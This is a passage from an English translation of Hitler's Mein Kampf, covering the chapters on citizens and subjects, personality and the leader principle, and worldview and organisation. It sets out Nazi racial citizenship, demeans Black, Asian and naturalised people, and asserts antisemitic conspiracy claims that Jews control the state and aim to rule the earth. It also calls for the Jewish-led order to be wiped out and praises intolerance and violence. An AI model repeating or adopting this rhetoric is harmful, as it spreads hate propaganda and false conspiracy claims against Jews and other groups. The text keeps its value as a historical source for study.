allotted to him. Thus alone will mere natural chance be set aside +in determining the work of a man and thus only does the individual +become the artificer of his own social worth. + +At the present time, when whole groups of people estimate each other's +value only by the size of the salaries which they respectively receive, +there will be no understanding of all this. But that is no reason why we +should cease to champion those ideas. Quite the opposite: in an epoch +which is inwardly diseased and decaying anyone who would heal it must +have the courage first to lay bare the real roots of the disease. And +the National Socialist Movement must take that duty on its shoulders. It +will have to lift its voice above the heads of the small bourgeoisie and +rally together and co-ordinate all those popular forces which are ready +to become the protagonists of a new WELTANSCHAUUNG. + + + +Of course the objection will be made that in general it is difficult to +differentiate between the material and ideal values of work and that the +lower prestige which is attached to physical labour is due to the fact +that smaller wages are paid for that kind of work. It will be said that +the lower wage is in its turn the reason why the manual worker has less +chance to participate in the culture of the nation; so that the ideal +side of human culture is less open to him because it has nothing to do +with his daily activities. It may be added that the reluctance to do +physical work is justified by the fact that, on account of the small +income, the cultural level of manual labourers must naturally be low, +and that this in turn is a justification for the lower estimation in +which manual labour is generally held. + +There is quite a good deal of truth in all this. But that is the very +reason why we ought to see that in the future there should not be such a +wide difference in the scale of remuneration. Don't say that under such +conditions poorer work would be done. It would be the saddest symptom of +decadence if finer intellectual work could be obtained only through the +stimulus of higher payment. If that point of view had ruled the world up +to now humanity would never have acquired its greatest scientific and +cultural heritage. For all the greatest inventions, the greatest +discoveries, the most profoundly revolutionary scientific work, and the +most magnificent monuments of human culture, were never given to the +world under the impulse or compulsion of money. Quite the contrary: not +rarely was their origin associated with a renunciation of the worldly +pleasures that wealth can purchase. + +It may be that money has become the one power that governs life to-day. +Yet a time will come when men will again bow to higher gods. Much that +we have to-day owes its existence to the desire for money and property; +but there is very little among all this which would leave the world +poorer by its lack. + +It is also one of the aims before our movement to hold out the prospect +of a time when the individual will be given what he needs for the +purposes of his life and it will be a time in which, on the other hand, +the principle will be upheld that man does not live for material +enjoyment alone. This principle will find expression in a wiser scale of +wages and salaries which will enable everyone, including the humblest +workman who fulfils his duties conscientiously, to live an honourable +and decent life both as a man and as a citizen. Let it not be said that +this is merely a visionary ideal, that this world would never tolerate +it in practice and that of itself it is impossible to attain. + +Even we are not so simple as to believe that there will ever be an age +in which there will be no drawbacks. But that does not release us from +the obligation to fight for the removal of the defects which we have +recognized, to overcome the shortcomings and to strive towards the +ideal. In any case the hard reality of the facts to be faced will always +place only too many limits to our aspirations. But that is precisely why +man must strive again and again to serve the ultimate aim and no +failures must induce him to renounce his intentions, just as we cannot +spurn the sway of justice because mistakes creep into the administration +of the law, and just as we cannot despise medical science because, in +spite of it, there will always be diseases. + +Man should take care not to have too low an estimate of the power of an +ideal. If there are some who may feel disheartened over the present +conditions, and if they happen to have served as soldiers, I would +remind them of the time when their heroism was the most convincing +example of the power inherent in ideal motives. It was not preoccupation +about their daily bread that led men to sacrifice their lives, but the +love of their country, the faith which they had in its greatness, and an +all round feeling for the honour of the nation. Only after the German +people had become estranged from these ideals, to follow the material +promises offered by the Revolution, only after they threw away their +arms to take up the rucksack, only then--instead of entering an earthly +paradise--did they sink into the purgatory of universal contempt and at +the same time universal want. + +That is why we must face the calculators of the materialist Republic +with faith in an idealist REICH. + + + + +CHAPTER III + + + +CITIZENS AND SUBJECTS OF THE STATE + + +The institution that is now erroneously called the State generally +classifies people only into two groups: citizens and aliens. Citizens +are all those who possess full civic rights, either by reason of their +birth or by an act of naturalization. Aliens are those who enjoy the +same rights in some other State. Between these two categories there are +certain beings who resemble a sort of meteoric phenomena. They are +people who have no citizenship in any State and consequently no civic +rights anywhere. + +In most cases nowadays a person acquires civic rights by being born +within the frontiers of a State. The race or nationality to which he may +belong plays no role whatsoever. The child of a Negro who once lived in +one of the German protectorates and now takes up his residence in +Germany automatically becomes a 'German Citizen' in the eyes of the +world. In the same way the child of any Jew, Pole, African or Asian may +automatically become a German Citizen. + +Besides naturalization that is acquired through the fact of having been +born within the confines of a State there exists another kind of +naturalization which can be acquired later. This process is subject to +various preliminary requirements. For example one condition is that, if +possible, the applicant must not be a burglar or a common street thug. +It is required of him that his political attitude is not such as to give +cause for uneasiness; in other words he must be a harmless simpleton in +politics. It is required that he shall not be a burden to the State of +which he wishes to become a citizen. In this realistic epoch of ours +this last condition naturally only means that he must not be a financial +burden. If the affairs of the candidate are such that it appears likely +he will turn out to be a good taxpayer, that is a very important +consideration and will help him to obtain civic rights all the more +rapidly. + +The question of race plays no part at all. + +The whole process of acquiring civic rights is not very different from +that of being admitted to membership of an automobile club, for +instance. A person files his application. It is examined. It is +sanctioned. And one day the man receives a card which informs him that +he has become a citizen. The information is given in an amusing way. An +applicant who has hitherto been a Zulu or Kaffir is told: "By these +presents you are now become a German Citizen." + +The President of the State can perform this piece of magic. What God +Himself could not do is achieved by some Theophrastus Paracelsus (Note 16) +of a civil servant through a mere twirl of the hand. Nothing but a stroke +of the pen, and a Mongolian slave is forthwith turned into a real +German. Not only is no question asked regarding the race to which the +new citizen belongs; even the matter of his physical health is not +inquired into. His flesh may be corrupted with syphilis; but he will +still be welcome in the State as it exists to-day so long as he may not +become a financial burden or a political danger. + +[Note 16. The last and most famous of the medieval alchemists. He was born +at Basleabout the year 1490 and died at Salzburg in 1541. He taught that +all metals could be transmuted through the action of one primary element +common to them all. This element he called ALCAHEST. If it could be found +it would proveto be at once the philosopher's stone, the universal +medicine and their resistible solvent. There are many aspects of his +teaching which are now looked upon as by no means so fantastic as they +were considered in his own time.] + +In this way, year after year, those organisms which we call States take +up poisonous matter which they can hardly ever overcome. + +Another point of distinction between a citizen and an alien is that the +former is admitted to all public offices, that he may possibly have to +do military service and that in return he is permitted to take a passive +or active part at public elections. Those are his chief privileges. For +in regard to personal rights and personal liberty the alien enjoys the +same amount of protection as the citizen, and frequently even more. +Anyhow that is how it happens in our present German Republic. + +I realize fully that nobody likes to hear these things. But it would be +difficult to find anything more illogical or more insane than our +contemporary laws in regard to State citizenship. + +At present there exists one State which manifests at least some modest +attempts that show a better appreciation of how things ought to be done +in this matter. It is not, however, in our model German Republic but in +the U.S.A. that efforts are made to conform at least partly to the +counsels of commonsense. By refusing immigrants to enter there if they +are in a bad state of health, and by excluding certain races from the +right to become naturalized as citizens, they have begun to introduce +principles similar to those on which we wish to ground the People's +State. + +The People's State will classify its population in three groups: +Citizens, subjects of the State, and aliens. + +The principle is that birth within the confines of the State gives only +the status of a subject. It does not carry with it the right to fill any +position under the State or to participate in political life, such as +taking an active or passive part in elections. Another principle is that +the race and nationality of every subject of the State will have to be +proved. A subject is at any time free to cease being a subject and to +become a citizen of that country to which he belongs in virtue of his +nationality. The only difference between an alien and a subject of the +State is that the former is a citizen of another country. + +The young boy or girl who is of German nationality and is a subject of +the German State is bound to complete the period of school education +which is obligatory for every German. Thereby he submits to the system +of training which will make him conscious of his race and a member of +the folk-community. Then he has to fulfil all those requirements laid +down by the State in regard to physical training after he has left +school; and finally he enters the army. The training in the army is of a +general kind. It must be given to each individual German and will render +him competent to fulfil the physical and mental requirements of military +service. The rights of citizenship shall be conferred on every young man +whose health and character have been certified as good, after having +completed his period of military service. This act of inauguration in +citizenship shall be a solemn ceremony. And the diploma conferring the +rights of citizenship will be preserved by the young man as the most +precious testimonial of his whole life. It entitles him to exercise all +the rights of a citizen and to enjoy all the privileges attached +thereto. For the State must draw a sharp line of distinction between +those who, as members of the nation, are the foundation and the support +of its existence and greatness, and those who are domiciled in the State +simply as earners of their livelihood there. + +On the occasion of conferring a diploma of citizenship the new citizen +must take a solemn oath of loyalty to the national community and the +State. This diploma must be a bond which unites together all the various +classes and sections of the nation. It shall be a greater honour to be a +citizen of this REICH, even as a street-sweeper, than to be the King of +a foreign State. + +The citizen has privileges which are not accorded to the alien. He is +the master in the REICH. But this high honour has also its obligations. +Those who show themselves without personal honour or character, or +common criminals, or traitors to the fatherland, can at any time be +deprived of the rights of citizenship. Therewith they become merely +subjects of the State. + +The German girl is a subject of the State but will become a citizen when +she marries. At the same time those women who earn their livelihood +independently have the right to acquire citizenship if they are German +subjects. + + + + +CHAPTER IV + + + +PERSONALITY AND THE IDEAL OF THE PEOPLE'S STATE + + +If the principal duty of the National Socialist People's State be to +educate and promote the existence of those who are the material out of +which the State is formed, it will not be sufficient to promote those +racial elements as such, educate them and finally train them for +practical life, but the State must also adapt its own organization to +meet the demands of this task. + +It would be absurd to appraise a man's worth by the race to which he +belongs and at the same time to make war against the Marxist principle, +that all men are equal, without being determined to pursue our own +principle to its ultimate consequences. If we admit the significance of +blood, that is to say, if we recognize the race as the fundamental +element on which all life is based, we shall have to apply to the +individual the logical consequences of this principle. In general I must +estimate the worth of nations differently, on the basis of the different +races from which they spring, and I must also differentiate in +estimating the worth of the individual within his own race. The +principle, that one people is not the same as another, applies also to +the individual members of a national community. No one brain, for +instance, is equal to another; because the constituent elements +belonging to the same blood vary in a thousand subtle details, though +they are fundamentally of the same quality. + +The first consequence of this fact is comparatively simple. It demands +that those elements within the folk-community which show the best racial +qualities ought to be encouraged more than the others and especially +they should be encouraged to increase and multiply. + +This task is comparatively simple because it can be recognized and +carried out almost mechanically. It is much more difficult to select +from among a whole multitude of people all those who actually possess +the highest intellectual and spiritual characteristics and assign them +to that sphere of influence which not only corresponds to their +outstanding talents but in which their activities will above all things +be of benefit to the nation. This selection according to capacity and +efficiency cannot be effected in a mechanical way. It is a work which +can be accomplished only through the permanent struggle of everyday life +itself. + +A WELTANSCHAUUNG which repudiates the democratic principle of the rule +of the masses and aims at giving this world to the best people--that +is, to the highest quality of mankind--must also apply that same +aristocratic postulate to the individuals within the folk-community. It +must take care that the positions of leadership and highest influence +are given to the best men. Hence it is not based on the idea of the +majority, but on that of personality. + +Anyone who believes that the People's National Socialist State should +distinguish itself from the other States only mechanically, as it were, +through the better construction of its economic life--thanks to a +better equilibrium between poverty and riches, or to the extension to +broader masses of the power to determine the economic process, or to a +fairer wage, or to the elimination of vast differences in the scale of +salaries--anyone who thinks this understands only the superficial +features of our movement and has not the least idea of what we mean when +we speak of our WELTANSCHAUUNG. All these features just mentioned could +not in the least guarantee us a lasting existence and certainly would be +no warranty of greatness. A nation that could content itself with +external reforms would not have the slightest chance of success in the +general struggle for life among the nations of the world. A movement +that would confine its mission to such adjustments, which are certainly +right and equitable, would effect no far-reaching or profound reform in +the existing order. The whole effect of such measures would be limited +to externals. They would not furnish the nation with that moral armament +which alone will enable it effectively to overcome the weaknesses from +which we are suffering to-day. + +In order to elucidate this point of view it may be worth while to glance +once again at the real origins and causes of the cultural evolution of +mankind. + +The first step which visibly brought mankind away from the animal world +was that which led to the first invention. The invention itself owes its +origin to the ruses and stratagems which man employed to assist him in +the struggle with other creatures for his existence and often to provide +him with the only means he could adopt to achieve success in the +struggle. Those first very crude inventions cannot be attributed to the +individual; for the subsequent observer, that is to say the modern +observer, recognizes them only as collective phenomena. Certain tricks +and skilful tactics which can be observed in use among the animals +strike the eye of the observer as established facts which may be seen +everywhere; and man is no longer in a position to discover or explain +their primary cause and so he contents himself with calling such +phenomena 'instinctive.' + +In our case this term has no meaning. Because everyone who believes in +the higher evolution of living organisms must admit that every +manifestation of the vital urge and struggle to live must have had a +definite beginning in time and that one subject alone must have +manifested it for the first time. It was then repeated again and again; +and the practice of it spread over a widening area, until finally it +passed into the subconscience of every member of the species, where it +manifested itself as 'instinct.' + +This is more easily understood and more easy to believe in the case of +man. His first skilled tactics in the struggle with the rest of the +animals undoubtedly originated in his management of creatures which +possessed special capabilities. + +There can be no doubt that personality was then the sole factor in all +decisions and achievements, which were afterwards taken over by the +whole of humanity as a matter of course. An exact exemplification of +this may be found in those fundamental military principles which have +now become the basis of all strategy in war. Originally they sprang from +the brain of a single individual and in the course of many years, maybe +even thousands of years, they were accepted all round as a matter of +course and this gained universal validity. + +Man completed his first discovery by making a second. Among other things +he learned how to master other living beings and make them serve him in +his struggle for existence. And thus began the real inventive activity +of mankind, as it is now visible before our eyes. Those material +inventions, beginning with the use of stones as weapons, which led to +the domestication of animals, the production of fire by artificial +means, down to the marvellous inventions of our own days, show clearly +that an individual was the originator in each case. The nearer we come +to our own time and the more important and revolutionary the inventions +become, the more clearly do we recognize the truth of that statement. +All the material inventions which we see around us have been produced by +the creative powers and capabilities of individuals. And all these +inventions help man to raise himself higher and higher above the animal +world and to separate himself from that world in an absolutely definite +way. Hence they serve to elevate the human species and continually to +promote its progress. And what the most primitive artifice once did for +man in his struggle for existence, as he went hunting through the +primeval forest, that same sort of assistance is rendered him to-day in +the form of marvellous scientific inventions which help him in the +present day struggle for life and to forge weapons for future struggles. +In their final consequences all human thought and invention help man in +his life-struggle on this planet, even though the so-called practical +utility of an invention, a discovery or a profound scientific theory, +may not be evident at first sight. Everything contributes to raise man +higher and higher above the level of all the other creatures that +surround him, thereby strengthening and consolidating his position; so +that he develops more and more in every direction as the ruling being on +this earth. + +Hence all inventions are the result of the creative faculty of the +individual. And all such individuals, whether they have willed it or +not, are the benefactors of mankind, both great and small. Through their +work millions and indeed billions of human beings have been provided +with means and resources which facilitate their struggle for existence. + +Thus at the origin of the material civilization which flourishes to-day +we always see individual persons. They supplement one another and one of +them bases his work on that of the other. The same is true in regard to +the practical application of those inventions and discoveries. For all +the various methods of production are in their turn inventions also and +consequently dependent on the creative faculty of the individual. Even +the purely theoretical work, which cannot be measured by a definite rule +and is preliminary to all subsequent technical discoveries, is +exclusively the product of the individual brain. The broad masses do not +invent, nor does the majority organize or think; but always and in every +case the individual man, the person. + +Accordingly a human community is well organized only when it facilitates +to the highest possible degree individual creative forces and utilizes +their work for the benefit of the community. The most valuable factor of +an invention, whether it be in the world of material realities or in the +world of abstract ideas, is the personality of the inventor himself. The +first and supreme duty of an organized folk community is to place the +inventor in a position where he can be of the greatest benefit to all. +Indeed the very purpose of the organization is to put this principle +into practice. Only by so doing can it ward off the curse of +mechanization and remain a living thing. In itself it must personify the +effort to place men of brains above the multitude and to make the latter +obey the former. + +Therefore not only does the organization possess no right to prevent men +of brains from rising above the multitude but, on the contrary, it must +use its organizing powers to enable and promote that ascension as far as +it possibly can. It must start out from the principle that the blessings +of mankind never came from the masses but from the creative brains of +individuals, who are therefore the real benefactors of humanity. It is +in the interest of all to assure men of creative brains a decisive +influence and facilitate their work. This common interest is surely not +served by allowing the multitude to rule, for they are not capable of +thinking nor are they efficient and in no case whatsoever can they be +said to be gifted. Only those should rule who have the natural +temperament and gifts of leadership. + +Such men of brains are selected mainly, as I have already said, through +the hard struggle for existence itself. In this struggle there are many +who break down and collapse and thereby show that they are not called by +Destiny to fill the highest positions; and only very few are left who +can be classed among the elect. In the realm of thought and of artistic +creation, and even in the economic field, this same process of selection +takes place, although--especially in the economic field--its operation +is heavily handicapped. This same principle of selection rules in the +administration of the State and in that department of power which +personifies the organized military defence of the nation. The idea of +personality rules everywhere, the authority of the individual over his +subordinates and the responsibility of the individual towards the +persons who are placed over him. It is only in political life that this +very natural principle has been completely excluded. Though all human +civilization has resulted exclusively from the creative activity of the +individual, the principle that it is the mass which counts--through the +decision of the majority--makes its appearance only in the +administration of the national community especially in the higher +grades; and from there downwards the poison gradually filters into all +branches of national life, thus causing a veritable decomposition. The +destructive workings of Judaism in different parts of the national body +can be ascribed fundamentally to the persistent Jewish efforts at +undermining the importance of personality among the nations that are +their hosts and, in place of personality, substituting the domination of +the masses. The constructive principle of Aryan humanity is thus +displaced by the destructive principle of the Jews, They become the +'ferment of decomposition' among nations and races and, in a broad +sense, the wreckers of human civilization. + +Marxism represents the most striking phase of the Jewish endeavour to +eliminate the dominant significance of personality in every sphere of +human life and replace it by the numerical power of the masses. In +politics the parliamentary form of government is the expression of this +effort. We can observe the fatal effects of it everywhere, from the +smallest parish council upwards to the highest governing circles of the +nation. In the field of economics we see the trade union movement, which +does not serve the real interests of the employees but the destructive +aims of international Jewry. Just to the same degree in which the +principle of personality is excluded from the economic life of the +nation, and the influence and activities of the masses substituted in +its stead, national economy, which should be for the service and benefit +of the community as a whole, will gradually deteriorate in its creative +capacity. The shop committees which, instead of caring for the interests +of the employees, strive to influence the process of production, serve +the same destructive purpose. They damage the general productive system +and consequently injure the individual engaged in industry. For in the +long run it is impossible to satisfy popular demands merely by +high-sounding theoretical phrases. These can be satisfied only by +supplying goods to meet the individual needs of daily life and by so +doing create the conviction that, through the productive collaboration +of its members, the folk community serves the interests of the +individual. + +Even if, on the basis of its mass-theory, Marxism should prove itself +capable of taking over and developing the present economic system, that +would not signify anything. The question as to whether the Marxist +doctrine be right or wrong cannot be decided by any test which would +show that it can administer for the future what already exists to-day, +but only by asking whether it has the creative power to build up +according to its own principles a civilization which would be a +counterpart of what already exists. Even if Marxism were a thousandfold +capable of taking over the economic life as we now have it and +maintaining it in operation under Marxist direction, such an achievement +would prove nothing; because, on the basis of its own principles, +Marxism would never be able to create something which could supplant +what exists to-day. + +And Marxism itself has furnished the proof that it cannot do this. Not +only has it been unable anywhere to create a cultural or economic system +of its own; but it was not even able to develop, according to its own +principles, the civilization and economic system it found ready at hand. +It has had to make compromises, by way of a return to the principle of +personality, just as it cannot dispense with that principle in its own +organization. + +The racial WELTANSCHAUUNG is fundamentally distinguished from the +Marxist by reason of the fact that the former recognizes the +significance of race and therefore also personal worth and has made +these the pillars of its structure. These are the most important factors +of its WELTANSCHAUUNG. + +If the National Socialist Movement should fail to understand the +fundamental importance of this essential principle, if it should merely +varnish the external appearance of the present State and adopt the +majority principle, it would really do nothing more than compete with +Marxism on its own ground. For that reason it would not have the right +to call itself a WELTANSCHAUUNG. If the social programme of the +movement consisted in eliminating personality and putting the multitude +in its place, then National Socialism would be corrupted with the poison +of Marxism, just as our national-bourgeois parties are. + +The People's State must assure the welfare of its citizens by +recognizing the importance of personal values under all circumstances +and by preparing the way for the maximum of productive efficiency in all +the various branches of economic life, thus securing to the individual +the highest possible share in the general output. + +Hence the People's State must mercilessly expurgate from all the leading +circles in the government of the country the parliamentarian principle, +according to which decisive power through the majority vote is invested +in the multitude. Personal responsibility must be substituted in its +stead. + +From this the following conclusion results: + +The best constitution and the best form of government is that which +makes it quite natural for the best brains to reach a position of +dominant importance and influence in the community. + +Just as in the field of economics men of outstanding ability cannot be +designated from above but must come forward in virtue of their own +efforts, and just as there is an unceasing educative process that leads +from the smallest shop to the largest undertaking, and just as life +itself is the school in which those lessons are taught, so in the +political field it is not possible to 'discover' political talent all in +a moment. Genius of an extraordinary stamp is not to be judged by normal +standards whereby we judge other men. + +In its organization the State must be established on the principle of +personality, starting from the smallest cell and ascending up to the +supreme government of the country. + +There are no decisions made by the majority vote, but only by +responsible persons. And the word 'council' is once more restored to its +original meaning. Every man in a position of responsibility will have +councillors at his side, but the decision is made by that individual +person alone. + +The principle which made the former Prussian Army an admirable +instrument of the German nation will have to become the basis of our +statal constitution, that is to say, full authority over his +subordinates must be invested in each leader and he must be responsible +to those above him. + +Even then we shall not be able to do without those corporations which at +present we call parliaments. But they will be real councils, in the +sense that they will have to give advice. The responsibility can and +must be borne by one individual, who alone will be vested with authority +and the right to command. + +Parliaments as such are necessary because they alone furnish the +opportunity for leaders to rise gradually who will be entrusted +subsequently with positions of special responsibility. + +The following is an outline of the picture which the organization will +present: + +From the municipal administration up to the government of the REICH, the +People's State will not have any body of representatives which makes its +decisions through the majority vote. It will have only advisory bodies +to assist the chosen leader for the time being and he will distribute +among them the various duties they are to perform. In certain fields +they may, if necessary, have to assume full responsibility, such as the +leader or president of each corporation possesses on a larger scale. + +In principle the People's State must forbid the custom of taking advice +on certain political problems--economics, for instance--from persons +who are entirely incompetent because they lack special training and +practical experience in such matters. Consequently the State must divide +its representative bodies into a political chamber and a corporative +chamber that represents the respective trades and professions. + +To assure an effective co-operation between those two bodies, a selected +body will be placed over them. This will be a special senate. + +No vote will be taken in the chambers or senate. They are to be +organizations for work and not voting machines. The individual members +will have consultive votes but no right of decision will be attached +thereto. The right of decision belongs exclusively to the president, who +must be entirely responsible for the matter under discussion. + +This principle of combining absolute authority with absolute +responsibility will gradually cause a selected group of leaders to +emerge; which is not even thinkable in our present epoch of +irresponsible parliamentarianism. + +The political construction of the nation will thereby be brought into +harmony with those laws to which the nation already owes its greatness +in the economic and cultural spheres. + +Regarding the possibility of putting these principles into practice, I +should like to call attention to the fact that the principle of +parliamentarian democracy, whereby decisions are enacted through the +majority vote, has not always ruled the world. On the contrary, we find +it prevalent only during short periods of history, and those have always +been periods of decline in nations and States. + +One must not believe, however, that such a radical change could be +effected by measures of a purely theoretical character, operating from +above downwards; for the change I have been describing could not be +limited to transforming the constitution of a State but would have to +include the various fields of legislation and civic existence as a +whole. Such a revolution can be brought about only by means of a +movement which is itself organized under the inspiration of these +principles and thus bears the germ of the future State in its own +organism. + +Therefore it is well for the National Socialist Movement to make itself +completely familiar with those principles to-day and actually to put +them into practice within its own organization, so that not only will it +be in a position to serve as a guide for the future State but will have +its own organization such that it can subsequently be placed at the +disposal of the State itself. + + + + +CHAPTER V + + + +WELTANSCHAUUNG AND ORGANIZATION + + +The People's State, which I have tried to sketch in general outline, +will not become a reality in virtue of the simple fact that we know the +indispensable conditions of its existence. It does not suffice to know +what aspect such a State would present. The problem of its foundation is +far more important. The parties which exist at present and which draw +their profits from the State as it now is cannot be expected to bring +about a radical change in the regime or to change their attitude on +their own initiative. This is rendered all the more impossible because +the forces which now have the direction of affairs in their hands are +Jews here and Jews there and Jews everywhere. The trend of development +which we are now experiencing would, if allowed to go on unhampered, +lead to the realization of the Pan-Jewish prophecy that the Jews will +one day devour the other nations and become lords of the earth. + +In contrast to the millions of 'bourgeois' and 'proletarian' Germans, +who are stumbling to their ruin, mostly through timidity, indolence and +stupidity, the Jew pursues his way persistently and keeps his eye always +fixed on his future goal. Any party that is led by him can fight for no +other interests than his, and his interests certainly have nothing in +common with those of the Aryan nations. + +If we would transform our ideal picture of the People's State into a +reality we shall have to keep independent of the forces that now control +public life and seek for new forces that will be ready and capable of +taking up the fight for such an ideal. For a fight it will have to be, +since the first objective will not be to build up the idea of the +People's State but rather to wipe out the Jewish State which is now in +existence. As so often happens in the course of history, the main +difficulty is not to establish a new order of things but to clear the +ground for its establishment. Prejudices and egotistic interests join +together in forming a common front against the new idea and in trying by +every means to prevent its triumph, because it is disagreeable to them +or threatens their existence. + +That is why the protagonist of the new idea is unfortunately, in spite +of his {254}desire for constructive work, compelled to wage a +destructive battle first, in order to abolish the existing state of +affairs. + +A doctrine whose principles are radically new and of essential +importance must adopt the sharp probe of criticism as its weapon, though +this may show itself disagreeable to the individual followers. + +It is evidence of a very superficial insight into historical +developments if the so-called folkists emphasize again and again that +they will adopt the use of negative criticism under no circumstances but +will engage only in constructive work. That is nothing but puerile +chatter and is typical of the whole lot of folkists. It is another proof +that the history of our own times has made no impression on these minds. +Marxism too has had its aims to pursue and it also recognizes +constructive work, though by this it understands only the establishment +of despotic rule in the hands of international Jewish finance. +Nevertheless for seventy years its principal work still remains in the +field of criticism. And what disruptive and destructive criticism it has +been! Criticism repeated again and again, until the corrosive acid ate +into the old State so thoroughly that it finally crumbled to pieces. +Only then did the so-called 'constructive' critical work of Marxism +begin. And that was natural, right and logical. An existing order of +things is not abolished by merely proclaiming and insisting on a new +one. It must not be hoped that those who are the partisans of the +existing order and have their interests bound up with it will be +converted and won over to the new movement simply by being shown that +something new is necessary. On the contrary, what may easily happen is +that two different situations will exist side by side and that a +WELTANSCHAUUNG is transformed into a party, above which level it will +not be able to raise itself afterwards. For a WELTANSCHAUUNG is +intolerant and cannot permit another to exist side by side with it. It +imperiously demands its own recognition as unique and exclusive and a +complete transformation in accordance with its views throughout all the +branches of public life. It can never allow the previous state of +affairs to continue in existence by its side. + +And the same holds true of religions. + +Christianity was not content with erecting an altar of its own. It had +first to destroy the pagan altars. It was only in virtue of this +passionate intolerance that an apodictic faith could grow up. And +intolerance is an indispensable condition for the growth of such a +faith. + +It may be objected here that in these phenomena which we find throughout +the history of the world we have to recognize mostly a specifically +Jewish mode of thought and that such fanaticism and intolerance are +typical symptoms of Jewish mentality. That may be a thousandfold true; +and it is a fact deeply to be regretted. The appearance of intolerance +and fanaticism in the history of mankind may be deeply regrettable, and +it may be looked upon as foreign to human nature, but the fact does not +change conditions as they exist to-day. The men who wish to liberate our +German nation from the conditions in which it now exists cannot cudgel +their brains with thinking how excellent it would be if this or that had +never arisen. They must strive to find ways and means of abolishing what +actually exists. A philosophy of life which is inspired by an infernal +spirit of intolerance can only be set aside by a doctrine that is +advanced in an equally ardent spirit and fought for with as determined a +will and which is itself a new idea, pure and absolutely true. + +Each one of us to-day may regret the fact that the advent of +Christianity was the first occasion on which spiritual terror was +introduced into the much freer ancient world, but the fact cannot be +denied that ever since then the world is pervaded and dominated by this +kind of coercion and that violence is broken only by violence and terror +by terror. Only then can a new regime be created by means of +constructive work. Political parties are prone to enter compromises; but +a WELTANSCHAUUNG never does this. A political party is inclined to +adjust its teachings with a view to meeting those of its opponents, but +a WELTANSCHAUUNG proclaims its own infallibility. + +In the beginning, political parties have also and nearly always the +intention of {255}securing an exclusive and despotic domination for +themselves. They always show a slight tendency to become +WELTANSCHHAUUNGen. But the limited nature of their programme is in +itself enough to rob them of that heroic spirit which a WELTANSCHAUUNG +demands. The spirit of conciliation which animates their will attracts +those petty and chicken-hearted people who are not fit to be +protagonists in any crusade. That is the reason why they mostly become +struck in their miserable pettiness very early on the march. They give +up fighting for their ideology and, by way of what they call 'positive +collaboration,' they try as quickly as possible to wedge themselves into +some tiny place at the trough of the existent regime and to stick there +as long as possible. Their whole effort ends at that. And if they should +get shouldered away from the common manger by a competition of more +brutal manners then their only idea is to force themselves in again, by +force or chicanery, among the herd of all the others who have similar +appetites, in order to get back into the front row, and finally--even +at the expense of their most sacred convictions--participate anew in +that beloved spot where they find their fodder. They are the jackals of +politics. + +But a general WELTANSCHAUUNG will never share its place with something +else. Therefore it can never agree to collaborate in any order of things +that it condemns. On the contrary it feels obliged to employ every means +in fighting against the old order and the whole world of ideas belonging +to that order and prepare the way for its destruction. + +These purely destructive tactics, the danger of which is so readily +perceived by the enemy that he forms a united front against them for his +common defence, and also the constructive tactics, which must be +aggressive in order to carry the new world of ideas to success--both +these phases of the struggle call for a body of resolute fighters. Any +new philosophy of life will bring its ideas to victory only if the most +courageous and active elements of its epoch and its people are enrolled +under its standards and grouped firmly together in a powerful fighting +organization. To achieve this purpose it is absolutely necessary to +select from the general system of doctrine a certain number of ideas +which will appeal to such individuals and which, once they are expressed +in a precise and clear-cut form, will serve as articles of faith for a +new association of men. While the programme of the ordinary political +party is nothing but the recipe for cooking up favourable results out of +the next general elections, the programme of a WELTANSCHAUUNG +represents a declaration of war against an existing order of things, +against present conditions, in short, against the established +WELTANSCHAUUNG. + +It is not necessary, however, that every individual fighter for such a +new doctrine need have a full grasp of the ultimate ideas and plans of +those who are the leaders of the movement. It is only necessary that +each should have a clear notion of the fundamental ideas and that he +should thoroughly assimilate a few of the most fundamental principles, +so that he will be convinced of the necessity of carrying the movement +and its doctrines to success. The individual soldier is not initiated in +the knowledge of high strategical plans. But he is trained to submit to +a rigid discipline, to be passionately convinced of the justice and +inner worth of his cause and that he must devote himself to it without +reserve. So, too, the individual follower of a movement must be made +acquainted with its far-reaching purpose, how it is inspired by a +powerful will and has a great future before it. + +Supposing that each soldier in an army were a general, and had the +training and capacity for generalship, that army would not be an +efficient fighting instrument. Similarly a political movement would not +be very efficient in fighting for a WELTANSCHAUUNG if it were made up +exclusively of intellectuals. No, we need the simple soldier also. +Without him no discipline can be established. + +By its very nature, an organization can exist only if leaders of high +intellectual ability are served by a large mass of men who are +emotionally devoted to the cause. To maintain discipline in a company of +two hundred men who are equally intelligent and capable would turn out +more difficult in the long run than in a company of one hundred and +ninety less gifted men and ten who have had a higher education. + +{256}The Social-Democrats have profited very much by recognizing this +truth. They took the broad masses of our people who had just completed +military service and learned to submit to discipline, and they subjected +this mass of men to the discipline of the Social-Democratic +organization, which was no less rigid than the discipline through which +the young men had passed in their military training. The +Social-Democratic organization consisted of an army divided into +officers and men. The German worker who had passed through his military +service became the private soldier in that army, and the Jewish +intellectual was the officer. The German trade union functionaries may +be compared to the non-commissioned officers. The fact, which was always +looked upon with indifference by our middle-classes, that only the +so-called uneducated classes joined Marxism was the very ground on which +this party achieved its success. For while the bourgeois parties, +because they mostly consisted of intellectuals, were only a feckless +band of undisciplined individuals, out of much less intelligent human +material the Marxist leaders formed an army of party combatants who obey +their Jewish masters just as blindly as they formerly obeyed their +German officers. The German middle-classes, who never; bothered their +heads about psychological problems because they felt themselves superior +to such matters, did not think it necessary to reflect on the profound +significance of this fact and the secret danger involved in it. Indeed +they believed. that a political movement which draws its followers +exclusively from intellectual circles must, for that very reason, be of +greater importance and have better grounds. for its chances of success, +and even a greater probability of taking over the government of the +country than a party made up of the ignorant masses. They completely +failed to realize the fact that the strength of a political party never +consists in the intelligence and independent spirit of the rank-and-file +of its members but rather in the spirit of willing obedience with which +they follow their intellectual leaders. What is of decisive importance +is the leadership itself. When two bodies of troops are arrayed in +mutual combat victory will not fall to that side in which every soldier +has an expert knowledge of the rules of strategy, but rather to that +side which has the best leaders and at the same time the best +disciplined, most blindly obedient and best drilled troops. + +That is a fundamental piece of knowledge which we must always bear in +mind when we examine the possibility of transforming a WELTANSCHAUUNG +into a practical reality. + +If we agree that in order to carry a WELTANSCHAUUNG into practical +effect it must be incorporated in a fighting movement, then the logical +consequence is that the programme of such a movement must take account +of the human material at its disposal. Just as the ultimate aims and +fundamental principles must be absolutely definite and unmistakable, so +the propagandist programme must be well drawn up and must be inspired by +a keen sense of its psychological appeals to the minds of those without +whose help the noblest ideas will be doomed to remain in the eternal, +realm of ideas. + +If the idea of the People's State, which is at present an obscure wish, +is one day to attain a clear and definite success, from its vague and +vast mass of thought it will have to put forward certain definite +principles which of their very nature and content are calculated to +attract a broad mass of adherents; in other words, such a group of +people as can 